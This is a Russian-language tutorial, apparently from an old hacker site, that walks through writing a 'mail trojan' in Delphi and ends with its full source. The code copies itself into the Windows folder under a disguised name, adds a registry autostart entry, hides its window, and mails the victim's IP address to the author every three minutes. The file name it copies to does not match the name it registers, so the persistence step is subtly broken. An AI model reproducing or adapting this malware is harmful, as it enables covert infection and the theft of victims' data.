Сегодня мы рассмотрим как сделать простого мыльного трояна на Delphi. Для создания трояна будем пользоваться стандартными компонентами Delphi. Версия Delphi 3 и выше. Для начала создай новый проект. Дальше нажми два раза крысой по форме и пиши:

begin
CurPath := ExtractFilePath(ParamStr(0)); // определяем текущий каталог
GetWindowsDirectory(WinPath,255); // определяем где находится винда
If (WinPath<>CurPath) then //если не в каталоге с виндой, то:
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false); // копируем себя в каталог винды
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;

Теперь допиши в uses слово Registry(в самом верху).Теперь добавь переменные после var Form1: TForm1; (чуть ниже):

WinPath : array [0..255] of char;
CurPath : String;
RegIni : TRegIniFile;

У тебя должно получится:

var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;

Теперь кидаем на форму компонент Timer(закладка System) и NMSmtp(закладка FastNet), ставим у таймера интервал 3 минуты(180000). Кликаем по таймеру и пишем:

NmSMTP1.host:='smtp.mail.ru'; //лучше используй другой сервер
NmSMTP1.Connect; // подключаемся к smtp серверу
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES :)'; // От куда письмо
NMSMTP1.PostMessage.FromName := 'First Trojan'; //От кого письмо
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail'; //Кому шлём письмо
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP; // посылаем IP.
NMSMTP1.PostMessage.Subject := 'First Trojan'; //Тема
NMSMTP1.SendMail; // посылаем письмо
end;

Теперь надо сделать так, чтобы юзер при запуске программы не видел главного окна. Выбери в меню: project>>>View source и ты увидишь:

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

Теперь допиши после "Application.CreateForm(TForm1, Form1);" строчку "Application.ShowMainForm:=false;". У тебя должно получиться:

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.

Вот и весь троян! Надеюсь теперь ты понял как можно сделать простого мыльного трояна на Delphi. А вот весь листинг программы:

unit Unit1;

interface

uses
Windows, Messages, SysUtils,registry, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, Psock, NMsmtp;

type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
public
end;

var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If (WinPath<> CurPath) then
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false);
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
NmSMTP1.host:='smtp.mail.ru';
NmSMTP1.Connect;
if NMSMTP1.Connected then
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES :)';
NMSMTP1.PostMessage.FromName := 'First Trojan';
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail';
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP;
NMSMTP1.PostMessage.Subject := 'First Trojan';
NMSMTP1.SendMail;
end;
end;
end.

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.